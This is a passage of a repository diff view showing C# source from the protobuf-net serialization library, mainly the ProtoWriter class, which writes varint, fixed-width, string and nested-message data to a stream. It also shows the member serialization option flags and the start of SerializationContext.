get { return (options & MemberSerializationOptions.Required) == MemberSerializationOptions.Required; }
set {
if (value) options |= MemberSerializationOptions.Required;
else options &= ~MemberSerializationOptions.Required;
}
}
/// <summary>
/// Gets a value indicating whether this member is packed.
/// This option only applies to list/array data of primitive types (int, double, etc).
/// </summary>
public bool IsPacked
{
get { return (options & MemberSerializationOptions.Packed) == MemberSerializationOptions.Packed;}
set {
if (value) options |= MemberSerializationOptions.Packed;
else options &= ~MemberSerializationOptions.Packed;
}
}
/// <summary>
/// Indicates whether this field should *repace* existing values (the default is false, meaning *append*).
/// This option only applies to list/array data.
/// </summary>
public bool OverwriteList
{
get { return (options & MemberSerializationOptions.OverwriteList) == MemberSerializationOptions.OverwriteList; }
set
{
if (value) options |= MemberSerializationOptions.OverwriteList;
else options &= ~MemberSerializationOptions.OverwriteList;
}
}
/// <summary>
/// Enables full object-tracking/full-graph support.
/// </summary>
public bool AsReference
{
get { return (options & MemberSerializationOptions.AsReference) == MemberSerializationOptions.AsReference; }
set
{
if (value) options |= MemberSerializationOptions.AsReference;
else options &= ~MemberSerializationOptions.AsReference;
options |= MemberSerializationOptions.AsReferenceHasValue;
}
}
internal bool AsReferenceHasValue
{
get { return (options & MemberSerializationOptions.AsReferenceHasValue) == MemberSerializationOptions.AsReferenceHasValue; }
set {
if (value) options |= MemberSerializationOptions.AsReferenceHasValue;
else options &= ~MemberSerializationOptions.AsReferenceHasValue;
}
}
/// <summary>
/// Embeds the type information into the stream, allowing usage with types not known in advance.
/// </summary>
public bool DynamicType
{
get { return (options & MemberSerializationOptions.DynamicType) == MemberSerializationOptions.DynamicType; }
set
{
if (value) options |= MemberSerializationOptions.DynamicType;
else options &= ~MemberSerializationOptions.DynamicType;
}
}
/// <summary>
/// Gets or sets a value indicating whether this member is packed (lists/arrays).
/// </summary>
public MemberSerializationOptions Options { get { return options; } set { options = value; } }
private MemberSerializationOptions options;
}
/// <summary>
/// Additional (optional) settings that control serialization of members
/// </summary>
[Flags]
public enum MemberSerializationOptions
{
/// <summary>
/// Default; no additional options
/// </summary>
None = 0,
/// <summary>
/// Indicates that repeated elements should use packed (length-prefixed) encoding
/// </summary>
Packed = 1,
/// <summary>
/// Indicates that the given item is required
/// </summary>
Required = 2,
/// <summary>
/// Enables full object-tracking/full-graph support
/// </summary>
AsReference = 4,
/// <summary>
/// Embeds the type information into the stream, allowing usage with types not known in advance
/// </summary>
DynamicType = 8,
/// <summary>
/// Indicates whether this field should *repace* existing values (the default is false, meaning *append*).
/// This option only applies to list/array data.
/// </summary>
OverwriteList = 16,
/// <summary>
/// Determines whether the types AsReferenceDefault value is used, or whether this member's AsReference should be used
/// </summary>
AsReferenceHasValue = 32
}
/// <summary>
/// Declares a member to be used in protocol-buffer serialization, using
/// the given Tag and MemberName. This allows ProtoMemberAttribute usage
/// even for partial classes where the individual members are not
/// under direct control.
/// A DataFormat may be used to optimise the serialization
/// format (for instance, using zigzag encoding for negative numbers, or
/// fixed-length encoding for large values.
/// </summary>
[AttributeUsage(AttributeTargets.Class,
AllowMultiple = true, Inherited = false)]
public class ProtoPartialMemberAttribute : ProtoMemberAttribute
{
/// <summary>
/// Creates a new ProtoMemberAttribute instance.
/// </summary>
/// <param name="tag">Specifies the unique tag used to identify this member within the type.</param>
/// <param name="memberName">Specifies the member to be serialized.</param>
public ProtoPartialMemberAttribute(int tag, string memberName)
: base(tag)
{
if (Helpers.IsNullOrEmpty(memberName)) throw new ArgumentNullException("memberName");
this.memberName = memberName;
}
/// <summary>
/// The name of the member to be serialized.
/// </summary>
public string MemberName { get { return memberName; } }
private readonly string memberName;
}
}

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,932 @@
using System;
using System.IO;
using System.Text;
using ProtoBuf.Meta;
#if MF
using OverflowException = System.ApplicationException;
#endif
#if FEAT_IKVM
using Type = IKVM.Reflection.Type;
#endif
namespace ProtoBuf
{
/// <summary>
/// Represents an output stream for writing protobuf data.
///
/// Why is the API backwards (static methods with writer arguments)?
/// See: http://marcgravell.blogspot.com/2010/03/last-will-be-first-and-first-will-be.html
/// </summary>
public sealed class ProtoWriter : IDisposable
{
private Stream dest;
TypeModel model;
/// <summary>
/// Write an encapsulated sub-object, using the supplied unique key (reprasenting a type).
/// </summary>
/// <param name="value">The object to write.</param>
/// <param name="key">The key that uniquely identifies the type within the model.</param>
/// <param name="writer">The destination.</param>
public static void WriteObject(object value, int key, ProtoWriter writer)
{
#if FEAT_IKVM
throw new NotSupportedException();
#else
if (writer.model == null)
{
throw new InvalidOperationException("Cannot serialize sub-objects unless a model is provided");
}
SubItemToken token = StartSubItem(value, writer);
if (key >= 0)
{
writer.model.Serialize(key, value, writer);
}
else if (writer.model != null && writer.model.TrySerializeAuxiliaryType(writer, value.GetType(), DataFormat.Default, Serializer.ListItemTag, value, false))
{
// all ok
}
else
{
TypeModel.ThrowUnexpectedType(value.GetType());
}
EndSubItem(token, writer);
#endif
}
/// <summary>
/// Write an encapsulated sub-object, using the supplied unique key (reprasenting a type) - but the
/// caller is asserting that this relationship is non-recursive; no recursion check will be
/// performed.
/// </summary>
/// <param name="value">The object to write.</param>
/// <param name="key">The key that uniquely identifies the type within the model.</param>
/// <param name="writer">The destination.</param>
public static void WriteRecursionSafeObject(object value, int key, ProtoWriter writer)
{
if (writer.model == null)
{
throw new InvalidOperationException("Cannot serialize sub-objects unless a model is provided");
}
SubItemToken token = StartSubItem(null, writer);
writer.model.Serialize(key, value, writer);
EndSubItem(token, writer);
}
internal static void WriteObject(object value, int key, ProtoWriter writer, PrefixStyle style, int fieldNumber)
{
#if FEAT_IKVM
throw new NotSupportedException();
#else
if (writer.model == null)
{
throw new InvalidOperationException("Cannot serialize sub-objects unless a model is provided");
}
if (writer.wireType != WireType.None) throw ProtoWriter.CreateException(writer);
switch (style)
{
case PrefixStyle.Base128:
writer.wireType = WireType.String;
writer.fieldNumber = fieldNumber;
if (fieldNumber > 0) WriteHeaderCore(fieldNumber, WireType.String, writer);
break;
case PrefixStyle.Fixed32:
case PrefixStyle.Fixed32BigEndian:
writer.fieldNumber = 0;
writer.wireType = WireType.Fixed32;
break;
default:
throw new ArgumentOutOfRangeException("style");
}
SubItemToken token = StartSubItem(value, writer, true);
if (key < 0)
{
if (!writer.model.TrySerializeAuxiliaryType(writer, value.GetType(), DataFormat.Default, Serializer.ListItemTag, value, false))
{
TypeModel.ThrowUnexpectedType(value.GetType());
}
}
else
{
writer.model.Serialize(key, value, writer);
}
EndSubItem(token, writer, style);
#endif
}
internal int GetTypeKey(ref Type type)
{
return model.GetKey(ref type);
}
private readonly NetObjectCache netCache = new NetObjectCache();
internal NetObjectCache NetCache
{
get { return netCache;}
}
private int fieldNumber, flushLock;
WireType wireType;
internal WireType WireType { get { return wireType; } }
/// <summary>
/// Writes a field-header, indicating the format of the next data we plan to write.
/// </summary>
public static void WriteFieldHeader(int fieldNumber, WireType wireType, ProtoWriter writer) {
if (writer.wireType != WireType.None) throw new InvalidOperationException("Cannot write a " + wireType
+ " header until the " + writer.wireType + " data has been written");
if(fieldNumber < 0) throw new ArgumentOutOfRangeException("fieldNumber");
#if DEBUG
switch (wireType)
{ // validate requested header-type
case WireType.Fixed32:
case WireType.Fixed64:
case WireType.String:
case WireType.StartGroup:
case WireType.SignedVariant:
case WireType.Variant:
break; // fine
case WireType.None:
case WireType.EndGroup:
default:
throw new ArgumentException("Invalid wire-type: " + wireType, "wireType");
}
#endif
if (writer.packedFieldNumber == 0) {
writer.fieldNumber = fieldNumber;
writer.wireType = wireType;
WriteHeaderCore(fieldNumber, wireType, writer);
}
else if (writer.packedFieldNumber == fieldNumber)
{ // we'll set things up, but note we *don't* actually write the header here
switch (wireType)
{
case WireType.Fixed32:
case WireType.Fixed64:
case WireType.Variant:
case WireType.SignedVariant:
break; // fine
default:
throw new InvalidOperationException("Wire-type cannot be encoded as packed: " + wireType);
}
writer.fieldNumber = fieldNumber;
writer.wireType = wireType;
}
else
{
throw new InvalidOperationException("Field mismatch during packed encoding; expected " + writer.packedFieldNumber + " but received " + fieldNumber);
}
}
internal static void WriteHeaderCore(int fieldNumber, WireType wireType, ProtoWriter writer)
{
uint header = (((uint)fieldNumber) << 3)
| (((uint)wireType) & 7);
WriteUInt32Variant(header, writer);
}
/// <summary>
/// Writes a byte-array to the stream; supported wire-types: String
/// </summary>
public static void WriteBytes(byte[] data, ProtoWriter writer)
{
ProtoWriter.WriteBytes(data, 0, data.Length, writer);
}
/// <summary>
/// Writes a byte-array to the stream; supported wire-types: String
/// </summary>
public static void WriteBytes(byte[] data, int offset, int length, ProtoWriter writer)
{
if (data == null) throw new ArgumentNullException("blob");
switch (writer.wireType)
{
case WireType.Fixed32:
if (length != 4) throw new ArgumentException("length");
goto CopyFixedLength; // ugly but effective
case WireType.Fixed64:
if (length != 8) throw new ArgumentException("length");
goto CopyFixedLength; // ugly but effective
case WireType.String:
WriteUInt32Variant((uint)length, writer);
writer.wireType = WireType.None;
if (length == 0) return;
if (writer.flushLock != 0 || length <= writer.ioBuffer.Length) // write to the buffer
{
goto CopyFixedLength; // ugly but effective
}
// writing data that is bigger than the buffer (and the buffer
// isn't currently locked due to a sub-object needing the size backfilled)
Flush(writer); // commit any existing data from the buffer
// now just write directly to the underlying stream
writer.dest.Write(data, offset, length);
writer.position += length; // since we've flushed offset etc is 0, and remains
// zero since we're writing directly to the stream
return;
}
throw CreateException(writer);
CopyFixedLength: // no point duplicating this lots of times, and don't really want another stackframe
DemandSpace(length, writer);
Helpers.BlockCopy(data, offset, writer.ioBuffer, writer.ioIndex, length);
IncrementedAndReset(length, writer);
}
private static void CopyRawFromStream(Stream source, ProtoWriter writer)
{
byte[] buffer = writer.ioBuffer;
int space = buffer.Length - writer.ioIndex, bytesRead = 1; // 1 here to spoof case where already full
// try filling the buffer first
while (space > 0 && (bytesRead = source.Read(buffer, writer.ioIndex, space)) > 0)
{
writer.ioIndex += bytesRead;
writer.position += bytesRead;
space -= bytesRead;
}
if (bytesRead <= 0) return; // all done using just the buffer; stream exhausted
// at this point the stream still has data, but buffer is full;
if (writer.flushLock == 0)
{
// flush the buffer and write to the underlying stream instead
Flush(writer);
while ((bytesRead = source.Read(buffer, 0, buffer.Length)) > 0)
{
writer.dest.Write(buffer, 0, bytesRead);
writer.position += bytesRead;
}
}
else
{
do
{
// need more space; resize (double) as necessary,
// requesting a reasonable minimum chunk each time
// (128 is the minimum; there may actually be much
// more space than this in the buffer)
DemandSpace(128, writer);
if((bytesRead = source.Read(writer.ioBuffer, writer.ioIndex,
writer.ioBuffer.Length - writer.ioIndex)) <= 0) break;
writer.position += bytesRead;
writer.ioIndex += bytesRead;
} while (true);
}
}
private static void IncrementedAndReset(int length, ProtoWriter writer)
{
Helpers.DebugAssert(length >= 0);
writer.ioIndex += length;
writer.position += length;
writer.wireType = WireType.None;
}
int depth = 0;
const int RecursionCheckDepth = 25;
/// <summary>
/// Indicates the start of a nested record.
/// </summary>
/// <param name="instance">The instance to write.</param>
/// <param name="writer">The destination.</param>
/// <returns>A token representing the state of the stream; this token is given to EndSubItem.</returns>
public static SubItemToken StartSubItem(object instance, ProtoWriter writer)
{
return StartSubItem(instance, writer, false);
}
MutableList recursionStack;
private void CheckRecursionStackAndPush(object instance)
{
int hitLevel;
if (recursionStack == null) { recursionStack = new MutableList(); }
else if (instance != null && (hitLevel = recursionStack.IndexOfReference(instance)) >= 0)
{
#if DEBUG
Helpers.DebugWriteLine("Stack:");
foreach(object obj in recursionStack)
{
Helpers.DebugWriteLine(obj == null ? "<null>" : obj.ToString());
}
Helpers.DebugWriteLine(instance == null ? "<null>" : instance.ToString());
#endif
throw new ProtoException("Possible recursion detected (offset: " + (recursionStack.Count - hitLevel).ToString() + " level(s)): " + instance.ToString());
}
recursionStack.Add(instance);
}
private void PopRecursionStack() { recursionStack.RemoveLast(); }
private static SubItemToken StartSubItem(object instance, ProtoWriter writer, bool allowFixed)
{
if (++writer.depth > RecursionCheckDepth)
{
writer.CheckRecursionStackAndPush(instance);
}
if(writer.packedFieldNumber != 0) throw new InvalidOperationException("Cannot begin a sub-item while performing packed encoding");
switch (writer.wireType)
{
case WireType.StartGroup:
writer.wireType = WireType.None;
return new SubItemToken(-writer.fieldNumber);
case WireType.String:
#if DEBUG
if(writer.model != null && writer.model.ForwardsOnly)
{
throw new ProtoException("Should not be buffering data");
}
#endif
writer.wireType = WireType.None;
DemandSpace(32, writer); // make some space in anticipation...
writer.flushLock++;
writer.position++;
return new SubItemToken(writer.ioIndex++); // leave 1 space (optimistic) for length
case WireType.Fixed32:
{
if (!allowFixed) throw CreateException(writer);
DemandSpace(32, writer); // make some space in anticipation...
writer.flushLock++;
SubItemToken token = new SubItemToken(writer.ioIndex);
ProtoWriter.IncrementedAndReset(4, writer); // leave 4 space (rigid) for length
return token;
}
default:
throw CreateException(writer);
}
}
/// <summary>
/// Indicates the end of a nested record.
/// </summary>
/// <param name="token">The token obtained from StartubItem.</param>
/// <param name="writer">The destination.</param>
public static void EndSubItem(SubItemToken token, ProtoWriter writer)
{
EndSubItem(token, writer, PrefixStyle.Base128);
}
private static void EndSubItem(SubItemToken token, ProtoWriter writer, PrefixStyle style)
{
if (writer.wireType != WireType.None) { throw CreateException(writer); }
int value = token.value;
if (writer.depth <= 0) throw CreateException(writer);
if (writer.depth-- > RecursionCheckDepth)
{
writer.PopRecursionStack();
}
writer.packedFieldNumber = 0; // ending the sub-item always wipes packed encoding
if (value < 0)
{ // group - very simple append
WriteHeaderCore(-value, WireType.EndGroup, writer);
writer.wireType = WireType.None;
return;
}
// so we're backfilling the length into an existing sequence
int len;
switch(style)
{
case PrefixStyle.Fixed32:
len = (int)((writer.ioIndex - value) - 4);
ProtoWriter.WriteInt32ToBuffer(len, writer.ioBuffer, value);
break;
case PrefixStyle.Fixed32BigEndian:
len = (int)((writer.ioIndex - value) - 4);
byte[] buffer = writer.ioBuffer;
ProtoWriter.WriteInt32ToBuffer(len, buffer, value);
// and swap the byte order
byte b = buffer[value];
buffer[value] = buffer[value + 3];
buffer[value + 3] = b;
b = buffer[value + 1];
buffer[value + 1] = buffer[value + 2];
buffer[value + 2] = b;
break;
case PrefixStyle.Base128:
// string - complicated because we only reserved one byte;
// if the prefix turns out to need more than this then
// we need to shuffle the existing data
len = (int)((writer.ioIndex - value) - 1);
int offset = 0;
uint tmp = (uint)len;
while ((tmp >>= 7) != 0) offset++;
if (offset == 0)
{
writer.ioBuffer[value] = (byte)(len & 0x7F);
}
else
{
DemandSpace(offset, writer);
byte[] blob = writer.ioBuffer;
Helpers.BlockCopy(blob, value + 1, blob, value + 1 + offset, len);
tmp = (uint)len;
do
{
blob[value++] = (byte)((tmp & 0x7F) | 0x80);
} while ((tmp >>= 7) != 0);
blob[value - 1] = (byte)(blob[value - 1] & ~0x80);
writer.position += offset;
writer.ioIndex += offset;
}
break;
default:
throw new ArgumentOutOfRangeException("style");
}
// and this object is no longer a blockage - also flush if sensible
const int ADVISORY_FLUSH_SIZE = 1024;
if (--writer.flushLock == 0 && writer.ioIndex >= ADVISORY_FLUSH_SIZE)
{
ProtoWriter.Flush(writer);
}
}
/// <summary>
/// Creates a new writer against a stream
/// </summary>
/// <param name="dest">The destination stream</param>
/// <param name="model">The model to use for serialization; this can be null, but this will impair the ability to serialize sub-objects</param>
/// <param name="context">Additional context about this serialization operation</param>
public ProtoWriter(Stream dest, TypeModel model, SerializationContext context)
{
if (dest == null) throw new ArgumentNullException("dest");
if (!dest.CanWrite) throw new ArgumentException("Cannot write to stream", "dest");
//if (model == null) throw new ArgumentNullException("model");
this.dest = dest;
this.ioBuffer = BufferPool.GetBuffer();
this.model = model;
this.wireType = WireType.None;
if (context == null) { context = SerializationContext.Default; }
else { context.Freeze(); }
this.context = context;
}
private readonly SerializationContext context;
/// <summary>
/// Addition information about this serialization operation.
/// </summary>
public SerializationContext Context { get { return context; } }
void IDisposable.Dispose()
{
Dispose();
}
private void Dispose()
{ // importantly, this does **not** own the stream, and does not dispose it
if (dest != null)
{
Flush(this);
dest = null;
}
model = null;
BufferPool.ReleaseBufferToPool(ref ioBuffer);
}
private byte[] ioBuffer;
private int ioIndex;
internal static int GetPosition(ProtoWriter writer) { return writer.position; }
private int position;
private static void DemandSpace(int required, ProtoWriter writer)
{
// check for enough space
if ((writer.ioBuffer.Length - writer.ioIndex) < required)
{
if (writer.flushLock == 0)
{
Flush(writer); // try emptying the buffer
if ((writer.ioBuffer.Length - writer.ioIndex) >= required) return;
}
// either can't empty the buffer, or that didn't help; need more space
BufferPool.ResizeAndFlushLeft(ref writer.ioBuffer, required + writer.ioIndex, 0, writer.ioIndex);
}
}
/// <summary>
/// Flushes data to the underlying stream, and releases any resources. The underlying stream is *not* disposed
/// by this operation.
/// </summary>
public void Close()
{
if (depth != 0 || flushLock != 0) throw new InvalidOperationException("Unable to close stream in an incomplete state");
Dispose();
}
internal void CheckDepthFlushlock()
{
if (depth != 0 || flushLock != 0) throw new InvalidOperationException("The writer is in an incomplete state");
}
/// <summary>
/// Get the TypeModel associated with this writer
/// </summary>
public TypeModel Model { get { return model; } }
/// <summary>
/// Writes any buffered data (if possible) to the underlying stream.
/// </summary>
/// <param name="writer">The writer to flush</param>
/// <remarks>It is not always possible to fully flush, since some sequences
/// may require values to be back-filled into the byte-stream.</remarks>
internal static void Flush(ProtoWriter writer)
{
if (writer.flushLock == 0 && writer.ioIndex != 0)
{
writer.dest.Write(writer.ioBuffer, 0, writer.ioIndex);
writer.ioIndex = 0;
}
}
/// <summary>
/// Writes an unsigned 32-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64
/// </summary>
private static void WriteUInt32Variant(uint value, ProtoWriter writer)
{
DemandSpace(5, writer);
int count = 0;
do {
writer.ioBuffer[writer.ioIndex++] = (byte)((value & 0x7F) | 0x80);
count++;
} while ((value >>= 7) != 0);
writer.ioBuffer[writer.ioIndex - 1] &= 0x7F;
writer.position += count;
}
static readonly UTF8Encoding encoding = new UTF8Encoding();
internal static uint Zig(int value)
{
return (uint)((value << 1) ^ (value >> 31));
}
internal static ulong Zig(long value)
{
return (ulong)((value << 1) ^ (value >> 63));
}
private static void WriteUInt64Variant(ulong value, ProtoWriter writer)
{
DemandSpace(10, writer);
int count = 0;
do
{
writer.ioBuffer[writer.ioIndex++] = (byte)((value & 0x7F) | 0x80);
count++;
} while ((value >>= 7) != 0);
writer.ioBuffer[writer.ioIndex - 1] &= 0x7F;
writer.position += count;
}
/// <summary>
/// Writes a string to the stream; supported wire-types: String
/// </summary>
public static void WriteString(string value, ProtoWriter writer)
{
if (writer.wireType != WireType.String) throw CreateException(writer);
if (value == null) throw new ArgumentNullException("value"); // written header; now what?
int len = value.Length;
if (len == 0)
{
WriteUInt32Variant(0, writer);
writer.wireType = WireType.None;
return; // just a header
}
#if MF
byte[] bytes = encoding.GetBytes(value);
int actual = bytes.Length;
writer.WriteUInt32Variant((uint)actual);
writer.Ensure(actual);
Helpers.BlockCopy(bytes, 0, writer.ioBuffer, writer.ioIndex, actual);
#else
int predicted = encoding.GetByteCount(value);
WriteUInt32Variant((uint)predicted, writer);
DemandSpace(predicted, writer);
int actual = encoding.GetBytes(value, 0, value.Length, writer.ioBuffer, writer.ioIndex);
Helpers.DebugAssert(predicted == actual);
#endif
IncrementedAndReset(actual, writer);
}
/// <summary>
/// Writes an unsigned 64-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64
/// </summary>
public static void WriteUInt64(ulong value, ProtoWriter writer)
{
switch (writer.wireType)
{
case WireType.Fixed64:
ProtoWriter.WriteInt64((long)value, writer);
return;
case WireType.Variant:
WriteUInt64Variant(value, writer);
writer.wireType = WireType.None;
return;
case WireType.Fixed32:
checked { ProtoWriter.WriteUInt32((uint)value, writer); }
return;
default:
throw CreateException(writer);
}
}
/// <summary>
/// Writes a signed 64-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64, SignedVariant
/// </summary>
public static void WriteInt64(long value, ProtoWriter writer)
{
byte[] buffer;
int index;
switch (writer.wireType)
{
case WireType.Fixed64:
DemandSpace(8, writer);
buffer = writer.ioBuffer;
index = writer.ioIndex;
buffer[index] = (byte)value;
buffer[index + 1] = (byte)(value >> 8);
buffer[index + 2] = (byte)(value >> 16);
buffer[index + 3] = (byte)(value >> 24);
buffer[index + 4] = (byte)(value >> 32);
buffer[index + 5] = (byte)(value >> 40);
buffer[index + 6] = (byte)(value >> 48);
buffer[index + 7] = (byte)(value >> 56);
IncrementedAndReset(8, writer);
return;
case WireType.SignedVariant:
WriteUInt64Variant(Zig(value), writer);
writer.wireType = WireType.None;
return;
case WireType.Variant:
if (value >= 0)
{
WriteUInt64Variant((ulong)value, writer);
writer.wireType = WireType.None;
}
else
{
DemandSpace(10, writer);
buffer = writer.ioBuffer;
index = writer.ioIndex;
buffer[index] = (byte)(value | 0x80);
buffer[index + 1] = (byte)((int)(value >> 7) | 0x80);
buffer[index + 2] = (byte)((int)(value >> 14) | 0x80);
buffer[index + 3] = (byte)((int)(value >> 21) | 0x80);
buffer[index + 4] = (byte)((int)(value >> 28) | 0x80);
buffer[index + 5] = (byte)((int)(value >> 35) | 0x80);
buffer[index + 6] = (byte)((int)(value >> 42) | 0x80);
buffer[index + 7] = (byte)((int)(value >> 49) | 0x80);
buffer[index + 8] = (byte)((int)(value >> 56) | 0x80);
buffer[index + 9] = 0x01; // sign bit
IncrementedAndReset(10, writer);
}
return;
case WireType.Fixed32:
checked { WriteInt32((int)value, writer); }
return;
default:
throw CreateException(writer);
}
}
/// <summary>
/// Writes an unsigned 16-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64
/// </summary>
public static void WriteUInt32(uint value, ProtoWriter writer)
{
switch (writer.wireType)
{
case WireType.Fixed32:
ProtoWriter.WriteInt32((int)value, writer);
return;
case WireType.Fixed64:
ProtoWriter.WriteInt64((int)value, writer);
return;
case WireType.Variant:
WriteUInt32Variant(value, writer);
writer.wireType = WireType.None;
return;
default:
throw CreateException(writer);
}
}
/// <summary>
/// Writes a signed 16-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64, SignedVariant
/// </summary>
public static void WriteInt16(short value, ProtoWriter writer)
{
ProtoWriter.WriteInt32(value, writer);
}
/// <summary>
/// Writes an unsigned 16-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64
/// </summary>
public static void WriteUInt16(ushort value, ProtoWriter writer)
{
ProtoWriter.WriteUInt32(value, writer);
}
/// <summary>
/// Writes an unsigned 8-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64
/// </summary>
public static void WriteByte(byte value, ProtoWriter writer)
{
ProtoWriter.WriteUInt32(value, writer);
}
/// <summary>
/// Writes a signed 8-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64, SignedVariant
/// </summary>
public static void WriteSByte(sbyte value, ProtoWriter writer)
{
ProtoWriter.WriteInt32(value, writer);
}
private static void WriteInt32ToBuffer(int value, byte[] buffer, int index)
{
buffer[index] = (byte)value;
buffer[index + 1] = (byte)(value >> 8);
buffer[index + 2] = (byte)(value >> 16);
buffer[index + 3] = (byte)(value >> 24);
}
/// <summary>
/// Writes a signed 32-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64, SignedVariant
/// </summary>
public static void WriteInt32(int value, ProtoWriter writer)
{
byte[] buffer;
int index;
switch (writer.wireType)
{
case WireType.Fixed32:
DemandSpace(4, writer);
WriteInt32ToBuffer(value, writer.ioBuffer, writer.ioIndex);
IncrementedAndReset(4, writer);
return;
case WireType.Fixed64:
DemandSpace(8, writer);
buffer = writer.ioBuffer;
index = writer.ioIndex;
buffer[index] = (byte)value;
buffer[index + 1] = (byte)(value >> 8);
buffer[index + 2] = (byte)(value >> 16);
buffer[index + 3] = (byte)(value >> 24);
buffer[index + 4] = buffer[index + 5] =
buffer[index + 6] = buffer[index + 7] = 0;
IncrementedAndReset(8, writer);
return;
case WireType.SignedVariant:
WriteUInt32Variant(Zig(value), writer);
writer.wireType = WireType.None;
return;
case WireType.Variant:
if (value >= 0)
{
WriteUInt32Variant((uint)value, writer);
writer.wireType = WireType.None;
}
else
{
DemandSpace(10, writer);
buffer = writer.ioBuffer;
index = writer.ioIndex;
buffer[index] = (byte)(value | 0x80);
buffer[index + 1] = (byte)((value >> 7) | 0x80);
buffer[index + 2] = (byte)((value >> 14) | 0x80);
buffer[index + 3] = (byte)((value >> 21) | 0x80);
buffer[index + 4] = (byte)((value >> 28) | 0x80);
buffer[index + 5] = buffer[index + 6] =
buffer[index + 7] = buffer[index + 8] = (byte)0xFF;
buffer[index + 9] = (byte)0x01;
IncrementedAndReset(10, writer);
}
return;
default:
throw CreateException(writer);
}
}
/// <summary>
/// Writes a double-precision number to the stream; supported wire-types: Fixed32, Fixed64
/// </summary>
public
#if !FEAT_SAFE
unsafe
#endif
static void WriteDouble(double value, ProtoWriter writer)
{
switch (writer.wireType)
{
case WireType.Fixed32:
float f = (float)value;
if (Helpers.IsInfinity(f)
&& !Helpers.IsInfinity(value))
{
throw new OverflowException();
}
ProtoWriter.WriteSingle(f, writer);
return;
case WireType.Fixed64:
#if FEAT_SAFE
ProtoWriter.WriteInt64(BitConverter.ToInt64(BitConverter.GetBytes(value), 0), writer);
#else
ProtoWriter.WriteInt64(*(long*)&value, writer);
#endif
return;
default:
throw CreateException(writer);
}
}
/// <summary>
/// Writes a single-precision number to the stream; supported wire-types: Fixed32, Fixed64
/// </summary>
public
#if !FEAT_SAFE
unsafe
#endif
static void WriteSingle(float value, ProtoWriter writer)
{
switch (writer.wireType)
{
case WireType.Fixed32:
#if FEAT_SAFE
ProtoWriter.WriteInt32(BitConverter.ToInt32(BitConverter.GetBytes(value), 0), writer);
#else
ProtoWriter.WriteInt32(*(int*)&value, writer);
#endif
return;
case WireType.Fixed64:
ProtoWriter.WriteDouble((double)value, writer);
return;
default:
throw CreateException(writer);
}
}
/// <summary>
/// Throws an exception indicating that the given enum cannot be mapped to a serialized value.
/// </summary>
public static void ThrowEnumException(ProtoWriter writer, object enumValue)
{
string rhs = enumValue == null ? "<null>" : (enumValue.GetType().FullName + "." + enumValue.ToString());
throw new ProtoException("No wire-value is mapped to the enum " + rhs);
}
// general purpose serialization exception message
internal static Exception CreateException(ProtoWriter writer)
{
return new ProtoException("Invalid serialization operation with wire-type " + writer.wireType + " at position " + writer.position);
}
/// <summary>
/// Writes a boolean to the stream; supported wire-types: Variant, Fixed32, Fixed64
/// </summary>
public static void WriteBoolean(bool value, ProtoWriter writer)
{
ProtoWriter.WriteUInt32(value ? (uint)1 : (uint)0, writer);
}
/// <summary>
/// Copies any extension data stored for the instance to the underlying stream
/// </summary>
public static void AppendExtensionData(IExtensible instance, ProtoWriter writer)
{
if (instance == null) throw new ArgumentNullException("instance");
// we expect the writer to be raw here; the extension data will have the
// header detail, so we'll copy it implicitly
if(writer.wireType != WireType.None) throw CreateException(writer);
IExtension extn = instance.GetExtensionObject(false);
if (extn != null)
{
// unusually we *don't* want "using" here; the "finally" does that, with
// the extension object being responsible for disposal etc
Stream source = extn.BeginQuery();
try
{
CopyRawFromStream(source, writer);
}
finally { extn.EndQuery(source); }
}
}
private int packedFieldNumber;
/// <summary>
/// Used for packed encoding; indicates that the next field should be skipped rather than
/// a field header written. Note that the field number must match, else an exception is thrown
/// when the attempt is made to write the (incorrect) field. The wire-type is taken from the
/// subsequent call to WriteFieldHeader. Only primitive types can be packed.
/// </summary>
public static void SetPackedField(int fieldNumber, ProtoWriter writer)
{
if (fieldNumber <= 0) throw new ArgumentOutOfRangeException("fieldNumber");
writer.packedFieldNumber = fieldNumber;
}
internal string SerializeType(System.Type type)
{
return TypeModel.SerializeType(model, type);
}
/// <summary>
/// Specifies a known root object to use during reference-tracked serialization
/// </summary>
public void SetRootObject(object value)
{
NetCache.SetKeyedObject(NetObjectCache.Root, value);
}
/// <summary>
/// Writes a Type to the stream, using the model's DynamicTypeFormatting if appropriate; supported wire-types: String
/// </summary>
public static void WriteType(System.Type value, ProtoWriter writer)
{
WriteString(writer.SerializeType(value), writer);
}
}
}

View File

@ -0,0 +1,73 @@
using System;
namespace ProtoBuf
{
/// <summary>
/// Additional information about a serialization operation
/// </summary>
public sealed class SerializationContext
{
private bool frozen;
internal void Freeze() { frozen = true;}
private void ThrowIfFrozen() { if (frozen) throw new InvalidOperationException("The serialization-context cannot be changed once it is in use"); }
private object context;
/// <summary>
/// Gets or sets a user-defined object containing additional information about this serialization/deserialization operation.
/// </summary>
public object Context
{
get { return context; }
set { if (context != value) { ThrowIfFrozen(); context = value; } }
}
private static readonly SerializationContext @default;
static SerializationContext()
{
@default = new SerializationContext();
@default.Freeze();
}
/// <summary>
/// A default SerializationContext, with minimal information.
/// </summary>
internal static SerializationContext Default { get {return @default;}}
#if PLAT_BINARYFORMATTER || (SILVERLIGHT && NET_4_0)
#if !(WINRT || PHONE7 || PHONE8)
private System.Runtime.Serialization.StreamingContextStates state = System.Runtime.Serialization.StreamingContextStates.Persistence;
/// <summary>
/// Gets or sets the source or destination of the transmitted data.
/// </summary>
public System.Runtime.Serialization.StreamingContextStates State
{
get { return state; }
set { if (state != value) { ThrowIfFrozen(); state = value; } }
}
#endif
/// <summary>
/// Convert a SerializationContext to a StreamingContext
/// </summary>
public static implicit operator System.Runtime.Serialization.StreamingContext(SerializationContext ctx)
{
#if WINRT || PHONE7 || PHONE8
return new System.Runtime.Serialization.StreamingContext();
#else
if (ctx == null) return new System.Runtime.Serialization.StreamingContext(System.Runtime.Serialization.StreamingContextStates.Persistence);
return new System.Runtime.Serialization.StreamingContext(ctx.state, ctx.context);
#endif
}
/// <summary>
/// Convert a StreamingContext to a SerializationContext
/// </summary>
